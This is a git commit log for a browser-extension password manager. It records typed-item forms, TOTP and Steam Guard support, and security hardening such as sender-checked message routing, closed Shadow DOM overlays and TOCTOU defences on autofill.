  autofill origin-ack revoke. Skip attachment caps (γ concern).
- Inline generator popover: invoked at every "gen" button. Random/BIP39
  kind toggle, length/word-count slider, charset checkboxes. Actions:
  use this value / save as default / reset / cancel. Shared with the
  Settings screen's "configure ▾" button.
- Two new popup-only messages: get_vault_settings / update_vault_settings
  (thin wrappers around α's fetchAndDecryptSettings / encryptAndWrite-
  Settings). NOT in SETUP_ALLOWED.
- generate_passphrase message added if missing for BIP39 previews.

Five-slice sequencing in execution order:
1. Custom-fields detail rendering (read-only)
2. Custom-fields edit rendering (disclosure + add/remove)
3. Vault-settings SW plumbing (+ generate_passphrase if needed)
4. Generator inline popover
5. Settings view + origin-ack revoke + default wiring

Slice 3 intentionally lands before Slice 4 so the popover's "save
as default" action is fully functional the moment it ships.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-23 23:59:14 -04:00
adlee-was-taken
81fbe132ad Merge Plan 1C-β₁: typed-item forms
Adds the 5 remaining typed-item forms (SecureNote, Identity, Card, Key,
Totp incl. Steam Guard) to the browser extension. Document type stays
deferred to γ pending attachment upload. 12 commits across 5 slices
+ 3 mid-slice fixes for issues caught in code review.

Slice 1: Rust Steam alphabet in compute_totp_code (4 tests, +4).
Slice 2: shared field-helpers module + Login refactor onto it (13
  helper tests; Login is the reference impl); plus 3 critical review
  fixes — escapeHtml covers " and ', centralized teardown, restore
  α's login-detail keyboard shortcuts.
Slice 3: SecureNote + Identity (mechanical).
Slice 4: Card (signature block, MM/YY selects, brand-from-BIN) + Key
  (concealed monospace textarea with webkit-text-security mask).
Slice 5: Totp (countdown ring, Steam/TOTP kind toggle); plus SW
  get_totp router extension to cover both Login.totp and Totp.config
  items (code-review catch — plan assumed α's handler already
  supported both).
Slice 6: + New picker with all 7 types in the toolbar; cross-cutting
  cleanup of form escHandler leak across all 6 type modules.

Tests: 84 Vitest (was 55) + 155 Rust (was 151). Both Chrome and
Firefox bundles compile clean. All lint greps clean (no @ts-nocheck,
no idfoto refs, no stale 'coming soon' outside Document).

Tag plan-1c-beta1-complete points at 7060515 (branch tip).
2026-04-23 23:15:50 -04:00
adlee-was-taken
706051530e fix(ext/popup): bind form escHandlers to teardown to stop listener leak 2026-04-23 23:09:52 -04:00
adlee-was-taken
23759dc163 feat(ext/popup): + New picker with all 7 item types (Document disabled) 2026-04-23 23:07:33 -04:00
adlee-was-taken
3c0b4c1589 fix(ext): get_totp handles Totp items, not just Login
Critical bug caught in T8 code review: the SW's get_totp handler
gated on core.type === 'login' and referenced core.totp, so the
standalone Totp item type (which lands in T8 with core.type === 'totp'
and core.config) had its detail-view ticker silently rejected with
'no_totp' every second. Ticker swallowed the error; rotating code
display stayed at placeholder forever.

Fix: extend the handler to resolve TotpConfig from either carrier:
- Login items: item.core.totp (optional subfield)
- Totp items:  item.core.config (required)

Also:
- Add 3 router tests covering both paths + the empty case
- Remove stale '……' placeholder check in types/totp.ts's \`t\`
  keyboard shortcut (dead code — the placeholder is '·····' or
  '······', never horizontal ellipses)

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-23 23:04:27 -04:00
adlee-was-taken
673981379e feat(ext/popup): Totp view + form (countdown ring, Steam toggle)
Detail view renders a signature block with a large monospace rotating code and
a thin SVG countdown ring that sweeps via CSS transition. The ticker polls
get_totp every second and is stopped on teardown (back/edit/trash/Escape/e/d/t).

Form has a two-button kind toggle (TOTP / Steam Guard) that re-renders in place
while preserving entered values. TOTP uses digits=6 kind='totp'; Steam uses
digits=5 kind='steam'. Both default to algorithm='sha1' period_seconds=30.

Keyboard shortcuts on detail: Escape=back, e=edit, d=trash, t=copy-code.
Guarded against stealing keystrokes from editable targets.

Wires totp.renderDetail / totp.renderForm into both dispatchers and calls
totp.teardown() alongside the other types so tickers can't leak across views.

Closes T8 of the extension 1C-β1 plan (5/5 typed-item modules in place;
only T9 picker and T10 acceptance remain).
2026-04-23 22:54:49 -04:00
adlee-was-taken
e084790756 feat(ext/popup): Key view + form (concealed monospace signature block) 2026-04-23 22:42:48 -04:00
adlee-was-taken
560a3c63c4 feat(ext/popup): Card view + form (card-silhouette signature, MM/YY selects) 2026-04-23 22:39:21 -04:00
adlee-was-taken
113b0b690a feat(ext/popup): Identity view + form (profile-card signature block) 2026-04-23 22:29:04 -04:00
adlee-was-taken
99d689b9b0 feat(ext/popup): SecureNote view + form on shared helpers 2026-04-23 22:26:49 -04:00
adlee-was-taken
23d4f736e1 fix(ext/popup): close 3 critical regressions from slice-2 code review
- C1: escapeHtml now escapes " and ' so values stored in data-field-value
  attributes (concealed rows, copyable rows) round-trip correctly. Prior
  impl silently truncated passwords containing quotes. +3 regression tests.
- C2: centralize view-teardown. login.ts exports teardown() that stops
  the TOTP ticker and removes the active keydown handler; item-detail.ts
  and item-form.ts dispatchers call it before rendering the next view;
  each button handler also calls teardown() locally for belt-and-suspenders.
- C3: restore alpha's keyboard shortcuts on login detail view: c
  (copy username), p (copy password), t (copy TOTP), f (autofill), e
  (edit), d (trash), plus Escape (back). All gated by the
  is-editable-target guard so they don't eat keystrokes inside form fields.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-23 22:21:40 -04:00
adlee-was-taken
11c274053b refactor(ext/popup): extract Login to types/login.ts on shared helpers 2026-04-23 21:57:53 -04:00
adlee-was-taken
24a99ba07a feat(ext/popup): field-row + concealed-row + signature-block helpers 2026-04-23 21:55:36 -04:00
adlee-was-taken
beac303a77 feat(core/totp): emit Steam Guard alphabet for kind=Steam 2026-04-23 20:04:41 -04:00
adlee-was-taken
b80b322853 docs: Plan 1C-β₁ (typed-item forms) implementation plan
10 tasks across 5 slices + pre-flight + acceptance, mirroring the
α plan's cadence. Each task is a single commit; each step 2-5 min.

Slice 1 — Rust Steam encoding fix (Task 1, 4 tests).
Slice 2 — Shared field helpers + Login refactor (Tasks 2-3).
Slice 3 — SecureNote + Identity (Tasks 4-5).
Slice 4 — Card + Key (Tasks 6-7).
Slice 5 — Totp incl. Steam toggle (Task 8).
Slice 6 — "+ New" picker + final acceptance (Tasks 9-10).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-23 18:47:32 -04:00
adlee-was-taken
1b51b7dbab docs: Plan 1C-β₁ (typed-item forms) design spec
Second sub-plan after 1C-α. Adds the 5 remaining typed-item forms
(SecureNote, Identity, Card, Key, Totp) so the extension can daily-
drive every typed item the Rust core supports — Document deferred
to γ for attachment dependencies.

Form style: muted "signature block + uniform rows" pattern
(per-type accent panel + plain rows for the rest). Login is
refactored onto a shared field-helper module as the reference
implementation.

Totp covers `kind: 'totp'` and `kind: 'steam'`. The latter requires
a Rust-core fix (Slice 1) — `compute_totp_code` currently produces
decimal output for Steam but Steam Guard uses a 5-char alphabet
(`23456789BCDFGHJKMNPQRTVWXY`). Plan ships the alphabet patch and
RFC-style test vectors.

Five-slice sequencing: Rust Steam → shared helpers + Login
refactor → SecureNote+Identity → Card+Key → Totp.

Custom fields editor, vault-settings view, advanced generator UI
all moved to β₂. Hotp counter UI deferred. Document type stays in γ.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-23 18:08:43 -04:00
adlee-was-taken
2b83105149 Merge Plan 1C-α: extension foundation
Ports the browser extension onto the typed-item core from Plans 1A/1B.
Six-slice implementation: WASM artifact rebuild, shared TS types + messages,
SessionHandle-based service worker, split message router with sender checks,
closed Shadow DOM content scripts, Login-parity popup, zxcvbn setup gate.

Audit items closed: C1 (WAR cleanup), C2 (split router + sender dispatch),
C3 (closed Shadow DOM + textContent), C4 (origin-bound autofill), H2
(opaque SessionHandle), H3 (zxcvbn ≥3 gate), M5 (popup captured-tab
TOCTOU defense — 3-layer: popup snapshot, SW re-check, content-side
expectedHost re-check).

Tests: 55/55 Vitest (router sender-check matrix, fill_credentials TOCTOU,
capture_save_login origin-bound add/update, base32 round-trip). Rust
workspace unchanged. Both Chrome and Firefox bundles compile clean.

Tag plan-1c-alpha-complete points at da3c389 (branch tip).
2026-04-22 19:51:41 -04:00
adlee-was-taken
da3c3893bb feat(ext/icons): replace idfoto ID-card icon with reliquary design
The prior icon was a holdover from the pre-rename idfoto project — a
stylized ID card with a portrait silhouette. Replaced with a proper
reliquary: an arched vessel with a horizontal seal band, small rivets,
standing on a blue pedestal, with a faceted gem at center representing
the protected relic.

- relicario-logo.svg: full 128-px-native design used by the setup
  wizard header and rasterized to icon-48.png and icon-128.png.
- relicario-logo-16.svg: 16-px-optimized variant (bolder strokes, no
  rivets, single-facet gem) for crisp toolbar rendering.
- Palette matches the gh-dark aesthetic used across the extension
  (#0d1117 / #161b22 background, #58a6ff / #79c0ff / #1f6feb accents).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-22 19:50:02 -04:00
adlee-was-taken
9139dd78a0 fix(ext/popup): normalize url field + humanize cryptic error messages
Bug: typing "Test" into an add-login form's URL field produced
"item json: relative URL without a base: "Test" at line 1 column 227"
in the UI banner — a serde-internal error message that no user should
ever see.

Two fixes:

1. Client-side URL normalization in the add/edit Login form
   (item-form.ts:normalizeUrl):
   - Empty string stays empty (URL is optional).
   - Scheme-less inputs get "https://" prepended so "github.com"
     becomes "https://github.com".
   - The result is run through the JS URL constructor. If that rejects
     OR if the result has no host, show a targeted message like
     "URL must include a host (e.g. https://example.com)".
   - Prevents the Rust-side url::Url::parse failure from ever firing
     for a form-shaped error.

2. Popup-side error humanizer (popup.ts:humanizeError):
   - Applied inside sendMessage so every UI-visible error passes
     through it before the state banner gets the string.
   - Translates: "relative URL without a base" → "URL must start with
     https://...", generic "item json:" / "settings json:" → form-
     field or corruption messages, and the sender/origin gates
     (vault_locked, origin_mismatch, unauthorized_sender,
     tab_navigated, captured_tab_gone) to user-action prompts.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-22 19:45:55 -04:00
adlee-was-taken
357455d979 fix(ext/popup): don't eat '/' and other keystrokes while typing in inputs
Bug: item-list's global "/" shortcut (focus search) and "+" shortcut
(new item) fired even when focus was inside any input/textarea other
than the list's own search field. This ate forward-slashes typed into
the setup wizard's host-url field and the add/edit form's notes area,
and would have done the same for any printable shortcut in a future
text field.

Root cause: the handler was attached to `document`, stays attached
when the user opens an item (and its click-handler navigated without
removing the listener), and only excluded the search field by id.

Fix:
- Add isEditableTarget() helper — returns true for
  INPUT/TEXTAREA/SELECT and contenteditable elements. Global shortcut
  handlers bail early when this fires, passing the keystroke through
  to the field.
- Apply the same guard in item-detail.ts (previously only guarded
  against INPUT, missing TEXTAREA + contenteditable).
- Remove handleListKeydown on row-click so it doesn't linger on
  detail/edit views even before the route-transition keydown
  listeners install.
- Escape in the list view still works from inside an editable
  field — only the printable-character interceptions are gated.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-22 19:43:43 -04:00
adlee-was-taken
69bb58c977 feat(ext/setup): polished passphrase entry UX
Setup wizard step 3 now has self-explanatory passphrase feedback:

- Strength meter: 5 segments with smooth color transitions
  (very-weak/weak/fair/good/strong). Tier 4 gets a subtle glow.
- Nuanced label (lowercase, tracked): "very weak" / "weak" / "fair" /
  "good" / "strong" — color-matched to each tier.
- Entropy readout line: "~10^N guesses — <time to crack>" with
  tiered shorthand (trivial / minutes-on-GPU / hours-to-days /
  years-on-consumer / beyond consumer / uncrackable).
- Live char counter in the strength row.
- Eye toggle buttons on both passphrase fields. Flip type="password"
  <-> type="text" without re-render, preserving focus + cursor.
- Live match indicator (✓ / ✗) between the confirm field and its eye
  toggle. Updates per keystroke.
- Create button gate widened: now requires score >= 3 AND confirm
  field filled AND confirm matches. Disabled button carries a
  tooltip saying which condition failed.
- Contextual help box above the passphrase field explaining the
  "long phrase > complex password" idea + the score >= 3 threshold.

All live-update paths (counter, label, entropy, match indicator,
button gate) go through updateStrengthUi() which targets the DOM
directly — no full re-render, so focus/cursor survive every keystroke.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-22 19:38:50 -04:00
adlee-was-taken
4341124d38 fix(ext): allow rate_passphrase + is_unlocked from setup tab; add diagnostic logging
Bug: setup tab's zxcvbn meter silently stayed at score=-1 because the
router's isSetup exception only allowed save_setup, so rate_passphrase
got unauthorized_sender. Result: the "create vault" button stayed
disabled forever even with a strong passphrase.

Fix: add a narrow SETUP_ALLOWED set containing save_setup,
rate_passphrase, and is_unlocked (step-4 extension detection). Reject
everything else from the setup tab. Also clean up setup.ts's unlock
call — it was passing the raw 32-byte imageSecret where JPEG bytes with
embedded secret are required; the Rust-side unlock calls imgsecret::
extract internally.

Diagnostic logging across the message path so the next silent failure
speaks up:
- [relicario setup]    staged logs through vault-init; console.error
                       with the failure stage name in the UI banner.
- [relicario setup]    rate_passphrase lastError / rejected / threw
                       branches each log their own warning.
- [relicario router]   console.warn on unauthorized_sender (with sender
                       classification) and unknown_message_type.
- [relicario sw]       first-message wasm init announced; per-message
                       non-ok result logged; thrown errors console.error'd.

Tests: +3 setup-allowlist tests (rate_passphrase accepted, is_unlocked
accepted, fill_credentials + unlock rejected). 55/55 green.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-22 19:32:00 -04:00
adlee-was-taken
3238ef4dd4 refactor(ext/popup): remove last @ts-nocheck, align to typed-item types
Clears the final four transitional @ts-nocheck shields:
- popup.ts (already mostly updated in Slice 6 prior tasks; nocheck just
  removed and the init fallback switched to list_items / ItemId typing)
- unlock.ts (list_entries → list_items; ManifestEntry typing)
- settings.ts (RelicarioSettings → DeviceSettings; pure type rename, UX
  unchanged)

Also drops the stale `idfoto-extension` name in bun.lock (workspace was
renamed; lock file still carried the old name).

Verification:
  git grep -n '@ts-nocheck' extension/src/  → 0 hits
  bun run build + build:firefox             → both green
  bun run test                              → 52/52 passing
  cargo test --workspace                    → green

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-20 21:44:12 -04:00
adlee-was-taken
f3b915a635 feat(ext/setup): zxcvbn strength meter + score>=3 gate (audit H3)
Replaces the ad-hoc char-class passphraseStrength() with a 5-segment
bar backed by a SW round-trip to rate_passphrase (zxcvbn). Input
handler debounces 150ms so we don't hammer the worker per keystroke.

The create-vault button is disabled unless the last score is ≥ 3
(zxcvbn's "safely unguessable" threshold), and the handler re-rates
synchronously on click as defence-in-depth. Label flips between "Too
weak" (red) and "Strong enough" (green).

Also:
- rewrites the vault-creation path to use the typed-item unlock +
  manifest_encrypt APIs (derive_master_key/encrypt_manifest are gone);
  the new initial manifest is { schema_version: 2, items: {} }.
- wasm.d.ts is now a pure `declare module 'relicario-wasm'` block;
  tsconfig's stale `paths` alias is removed.
- @ts-nocheck removed from setup.ts.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-20 21:38:50 -04:00
adlee-was-taken
76bb61aa10 feat(ext/popup): Login add/edit form on typed-item API
Rewrites item-form.ts for the typed-item Item shape. Login is the only
editable type in Slice 6; other types fall through to coming-soon.

Form fields: title (required) + url + username + password (with gen
button backed by DEFAULT_PASSWORD_REQUEST) + totp (base32) + group +
notes. TOTP base32 is decoded via shared/base32 and wrapped as a
number[] into FieldValue-shape TotpConfig { secret, algorithm: sha1,
digits: 6, period_seconds: 30, kind: 'totp' }. Decode failure sets
state.error and aborts.

Save constructs a full Item envelope (id, title, type, tags, favorite,
group, notes, created, modified, trashed_at, core, sections,
attachments, field_history). On edit we preserve the existing item's
metadata but EXPLICITLY set trashed_at: undefined — carry-forward
from Slice 5 review M3, so an edit cannot accidentally preserve stale
trash state.

@ts-nocheck removed.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-20 21:12:14 -04:00
adlee-was-taken
bc95b047a2 feat(ext/popup): Login detail view + coming-soon for other types
Rewrites item-detail.ts to dispatch on item.type: login gets the full
detail view (url, username, masked password + copy, TOTP with 30s
countdown, notes, group, autofill/edit/trash/back buttons). Non-login
types get a coming-soon placeholder; those grow full UIs in later slices.

Fixes Slice 4 review I1: the old autofill path sent a malformed
fill_credentials payload ({ username, password } — no id/capturedTab).
The new handler uses the (capturedTabId, capturedUrl) pair snapshotted
at popup-open and calls fill_credentials with { id, capturedTabId,
capturedUrl }, matching the SW's handler signature that enforces the
M5 + TOCTOU checks.

TOTP poll now calls get_totp on a 1s timer and renders the 30s countdown
bar against expires_at. @ts-nocheck removed.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-20 21:10:41 -04:00
adlee-was-taken
dc8097589e feat(ext/popup): typed-item list view
Rewrites item-list.ts to render the typed-item ManifestEntry v2
surface: title + type-icon emoji (🔑/📝/🪪/💳/🗝/📄/⏱) + icon_hint
as the meta line. Toolbar now has +new, sync, settings, lock. Keyboard
nav unchanged (/, +, arrows, Enter).

Clicking a row fires list_items → get_item (the new typed-item
messages) and stores the full Item in state.selectedItem before
navigating to 'detail'.

Also updates popup.ts PopupState:
- entries now typed Array<[ItemId, ManifestEntry]>
- selectedEntry → selectedItem (Item)
- init() uses list_items not list_entries

Trashed items (trashed_at set) are filtered out of the visible list.
@ts-nocheck removed from item-list.ts.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-20 21:09:28 -04:00
adlee-was-taken
d090fc421e refactor(ext/popup): rename entry-* → item-* components
Git-moves the three popup components so history survives the content
rewrite that follows in Tasks 22–24:
- entry-list.ts   → item-list.ts
- entry-detail.ts → item-detail.ts
- entry-form.ts   → item-form.ts

Also renames the exported render functions (renderEntryList →
renderItemList, etc.) and updates popup.ts imports + render switch.
The files still wear @ts-nocheck and reference the old Entry type;
content rewriting happens in Tasks 22–24.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-20 21:01:50 -04:00
adlee-was-taken
856ceb2d93 fix(ext): content-callable capture_save_login closes critical router gap
After Slice 4's router split, the capture prompt's Save button was
silently failing on every site: content/capture.ts called four handlers
(get_settings, get_item, update_item, add_item) that are all in
POPUP_ONLY_TYPES, so the router rejected each with unauthorized_sender.

Fix in two parts:

Part A — get_settings: content scripts already have storage permission
via the manifest, so read relicarioSettings directly from
chrome.storage.local instead of round-tripping through the SW.

Part B — new content-callable 'capture_save_login' message that
consolidates what was previously three separate popup-only calls
(get_item + update_item or add_item) into one SW-side operation.
Content scripts no longer need to distinguish add vs update — the SW
does that itself from the manifest.

Security model (all enforced SW-side, never trusting content):

- Origin is derived from sender.tab.url by the router. The payload
  contains only username + password; there is no way for content to
  influence which host the new/updated item binds to.
- Update path re-verifies the existing item's core.url hostname
  matches senderHost before mutating. If the manifest icon_hint ever
  drifts from core.url, we return origin_mismatch rather than
  silently binding a password to the wrong origin.
- Update mutates ONLY the password field + modified timestamp —
  never title, url, or any other core field.
- Add path creates a new Login item whose title is senderHost and
  whose url is the sender's origin.

Five new router tests cover: content-accept, popup-reject, update
path rotates only the password, add path creates bound item, and
origin_mismatch when the stored item's host disagrees with senderHost.
Tests: 47 -> 52.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-20 20:57:38 -04:00
adlee-was-taken
1d5ad5e59e test(ext/router): add fill_credentials + save_setup exception tests
Three new describe blocks cover the gaps flagged during Slice 4 review:

1. fill_credentials captured-tab verification — three cases:
   - tab_navigated: chrome.tabs.get returns a tab whose hostname differs
     from capturedUrl → handler must return { ok: false, tab_navigated }
     and not call chrome.tabs.sendMessage.
   - origin_mismatch: tab matches capturedUrl but the item's
     LoginCore.url hostname differs → same refusal, no delivery.
   - happy path: verify the forwarded message is exactly
     { type: 'fill_credentials', username, password, expectedHost }.

2. save_setup exception scope: the setup tab gets a narrow exception
   to POST save_setup, but nothing else. Prove fill_credentials from
   the setup tab is rejected with unauthorized_sender.

3. isContent sender.id guard: a content-shaped sender with a bogus
   sender.id (≠ chrome.runtime.id) must be rejected.

Vault/session modules are partial-mocked via vi.mock + importOriginal so
the existing tests continue to exercise real listItems/findByHostname.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-20 20:39:49 -04:00
adlee-was-taken
eed11acba2 feat(ext/popup): snapshot activeTab at popup-open for fill_credentials (audit M5)
Extend PopupState with {capturedTabId, capturedUrl} populated via
chrome.tabs.query({active: true, currentWindow: true}) in init().
These are later passed with fill_credentials so the SW can verify
the captured tab's hostname hasn't changed out from under the user
before forwarding credentials. Combined with expectedHost in the
forwarded payload + content-side re-check in fill.ts, this closes
the TOCTOU window on the popup → SW → content fill path.

popup.ts stays under @ts-nocheck (Slice 6 removes it alongside the
item-* rewrites).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-20 20:37:49 -04:00
adlee-was-taken
14397b33f0 feat(ext/content): closed Shadow DOM for icon/picker/TOFU + close fill TOCTOU
Two security fixes bundled together because they all live on the
icon-click/fill path:

1. Icon + picker + TOFU hint now render inside closed-mode Shadow DOM
   (via shadow.createShadowHost). Page scripts can no longer find our
   overlay via document.querySelector or rewrite buttons.

2. Icon's get_autofill_candidates call drops the `url` field — router
   derives origin from sender.tab.url. Similarly get_credentials.

3. Icon's get_credentials response handling was buggy: the response is a
   discriminated union { requires_ack, hostname } | { username, password }
   and the old code always read .username (→ undefined when requires_ack).
   New code dispatches on the `requires_ack` marker and either shows an
   in-page TOFU hint or fills directly.

4. fill_credentials is popup-only in the router — the icon click cannot
   (and MUST NOT) issue it from content. The new flow calls fillFields()
   directly after get_credentials returns the plaintext: the content
   script IS the origin, so no SW round-trip is needed for the typing.

5. TOCTOU on the popup → SW → content fill path: the SW verified the
   captured tab's hostname matched capturedUrl, then forwarded blindly.
   Between that check and chrome.tabs.sendMessage delivery, the tab can
   navigate; chrome.tabs.sendMessage delivers to whatever content-script
   principal is loaded at send-time. Closed by:
   - Router forwards { expectedHost: currentHost } in the payload.
   - fill.ts re-checks location.href.hostname === expectedHost before
     typing anything; on mismatch replies { ok: false, error: 'origin_changed' }
     and types nothing.

6. Remove @ts-nocheck from icon.ts, fill.ts, and detector.ts — all three
   now type-check clean.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-20 20:37:25 -04:00
adlee-was-taken
8cc1e777be feat(ext/content): closed Shadow DOM + textContent for capture prompt
Previously the capture prompt was a normal <div> appended to document.body
with innerHTML assembly. Any page script could find it via
document.querySelector('#relicario-capture-prompt') and either scrape
values or rewrite the buttons — and the innerHTML pattern meant hostname
interpolation was a latent XSS path (escapeForHtml helped but one mistake
would break it).

- Add content/shadow.ts — createShadowHost() with mode: 'closed', host.style.all = 'initial'.
- Rewrite capture.ts to mount inside the shadow root, build DOM via
  createElement + textContent only, never innerHTML.
- Drop the `url` field from check_credential / blacklist_site — the router
  now derives origin from sender.tab.url (Slice 3 contract).
- Update add_entry / update_entry calls to add_item / update_item with the
  new typed Item + LoginCore shape.
- Swap RelicarioSettings → DeviceSettings.
- Remove @ts-nocheck — the file type-checks clean.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-20 20:35:36 -04:00
adlee-was-taken
fbb64729ce feat(ext/popup): open setup via chrome.tabs.create, drop setup view from popup
The popup is too constrained for multi-step setup (Chrome closes it when
focus shifts to a file picker). Previously the popup rendered a pass-through
setup-wizard component that itself opened setup.html in a tab. Cut the
middleman: if not configured, directly chrome.tabs.create the setup page
and window.close() the popup.

- Remove 'setup' from the View union and the setup case from render().
- Delete setup-wizard component entirely — setup.html is the canonical flow.
- Drop renderSetupWizard import.

The @ts-nocheck stays on popup.ts until Slice 6 (item-* rewrites).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-20 20:33:49 -04:00
adlee-was-taken
2ff3ab1d7f feat(ext): drop setup.html / wasm from web_accessible_resources (audit C1)
setup.html is opened via chrome.tabs.create using a chrome-extension:// URL
which doesn't require WAR. WASM is bundled into service-worker.js/setup.js
and never fetched from a web page origin. Leaving them in WAR would expose
their URLs to any origin for probing/fingerprinting; shipping an empty WAR
array closes the surface.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-20 20:33:09 -04:00
adlee-was-taken
0cef607859 fix(ext/build): exclude test files from webpack tsc compile
Slice 4 spec review caught: router.test.ts's narrow chrome.* shim
triggered 4 TS errors in webpack's ts-loader pass during production
builds (partial mocks don't match the full chrome.* type surface).

Plan's verbatim test body assumes tests aren't part of the build
compile. Add src/**/__tests__/** to tsconfig exclude — tests still
compile under Vitest's independent ts pipeline (42/42 passing).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-20 20:25:53 -04:00
adlee-was-taken
3d2b021cb2 test(ext): vitest + router sender-check + origin-bound autofill 2026-04-20 20:15:49 -04:00
adlee-was-taken
2d4dcb5f6b feat(ext/sw): collapse flat index onto router 2026-04-20 20:11:59 -04:00
adlee-was-taken
56ab58cbe9 feat(ext/sw): router index with sender-based dispatch 2026-04-20 20:11:20 -04:00
adlee-was-taken
be32ea13c6 feat(ext/sw): router/content-callable handlers with origin derivation 2026-04-20 20:11:02 -04:00
adlee-was-taken
533bfd5bea feat(ext/sw): router/popup-only handlers 2026-04-20 20:10:34 -04:00
adlee-was-taken
2fd6daad8e docs(ext/sw): tighten slice-3 comments per code review
Non-functional tightening flagged in the slice-3 code review:

- session.ts: document future multi-vault refactor (β+) so the module-
  scope singleton is explicitly "deliberately simple," not an oversight.
- vault.ts: move findByHostname doc comment above the function; note
  α's intentionally-coarse hostname match (no www-stripping, no
  public-suffix matching) and that tighter matching is a β/γ concern.
- index.ts: expand the passphrase scope-clearing comment to make
  the theatre explicit rather than leaving it looking like real defense.
- index.ts: TODO(slice-4) marker on delete_item's non-atomic two-write
  path — consider manifest-first ordering or retry/rollback at router-
  split time.
- index.ts: cross-reference comment on itemToManifestEntry pointing at
  the Rust-side ManifestEntry::from_item derivation it must mirror.

No behavior change; build still compiles with 2 bundle-size warnings.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-20 20:07:27 -04:00
adlee-was-taken
c0fba2a8dc chore(ext): silence popup/content errors until slice 6 2026-04-20 19:57:32 -04:00
adlee-was-taken
20144e8e02 feat(ext/sw): rewire flat handler onto typed-item vault + SessionHandle 2026-04-20 19:55:50 -04:00
adlee-was-taken
bd9dd206ac feat(ext/sw): typed-item vault ops via SessionHandle 2026-04-20 19:53:28 -04:00
adlee-was-taken
7781a51848 feat(ext/sw): SessionHandle lifecycle module 2026-04-20 19:52:54 -04:00
adlee-was-taken
dc8afcb634 feat(ext): base32 encode/decode for TOTP secret parse 2026-04-20 19:44:18 -04:00
adlee-was-taken
b4da5bffcf feat(ext): split PopupMessage / ContentMessage unions + capability sets 2026-04-20 19:43:09 -04:00
adlee-was-taken
04c9503036 feat(ext): typed-item TS types mirroring relicario-core serde 2026-04-20 19:42:31 -04:00
adlee-was-taken
14aaac672c build(ext): align wasm.d.ts with relicario-wasm surface
Add initSync named export (Chrome MV3 service worker path — can't use
dynamic import()), and correct TotpCode.expires_at from number to bigint
to match the u64 wasm-bindgen output.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-20 19:36:54 -04:00
adlee-was-taken
c03a492ee3 docs: Plan 1C-α (extension foundation) implementation plan
28 tasks across 6 slices + pre-flight + acceptance, following the 1C-α
design spec (a1d733d/ad6d8af). Each task is a single commit; each step
is 2-5 minutes of work. Design choices locked in:

- Slice 1 (Tasks 1-3): WASM artifact rebuild (replace stale idfoto_wasm)
- Slice 2 (Tasks 4-6): shared TS types + message unions + base32 util
- Slice 3 (Tasks 7-10): session.ts, vault.ts, transitional index.ts
- Slice 4 (Tasks 11-15): split router + Vitest + sender-check matrix
- Slice 5 (Tasks 16-20): WAR cleanup, setup-via-tabs, closed Shadow DOM
  for capture/icon/picker/ack, popup captured-tab snapshot
- Slice 6 (Tasks 21-27): popup rename + Login-parity + zxcvbn + manual
  cross-browser verification
- Slice 7 (Task 28): acceptance checks (cargo test, build, lint greps)

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-20 19:28:13 -04:00
adlee-was-taken
ad6d8af2f6 docs(1c-alpha): correct TS type definitions to match actual serde shapes
Verified against the Plan 1A Rust sources:
- ItemType / ItemCore use snake_case with tag="type" internal tagging
  (not the external tagging I initially wrote)
- TotpKind is default-externally-tagged (no tag attr), so it serializes
  as bare "totp"/"steam" for unit variants and { hotp: { counter } }
- GeneratorRequest uses tag="kind" internal tagging
- FieldValue / TrashRetention / HistoryRetention / SymbolCharset use
  adjacent tagging { tag: "kind", content: "value" }
- Fix Login form TOTP parse example and "gen" button payload

No scope change — this is a bookkeeping correction so the plan
author references the correct wire shapes.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-20 19:19:44 -04:00
adlee-was-taken
a1d733ddeb docs: Plan 1C-α (extension foundation) design spec
Foundation slice of the browser-extension migration onto the typed-item
core from Plans 1A+1B. Scope: WASM artifact rebuild, typed-item shared
types, SessionHandle-based service worker, split router with sender
checks, full security architecture (origin-bound autofill, TOFU ack,
closed Shadow DOM, popup captured-tab verification), zxcvbn setup gate,
Login-parity popup. Other 6 item types land in 1C-β; attachments/trash/
history/device UI in 1C-γ.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-20 19:14:25 -04:00
adlee-was-taken
76f34bfcf5 chore: remove stray vault files from Plan 1B + add plan doc
A Task 6 implementer subagent ran `relicario init` inside the worktree
root during manual testing and committed the resulting vault skeleton
(.relicario/, manifest.enc, settings.enc) plus overwrote .gitignore.
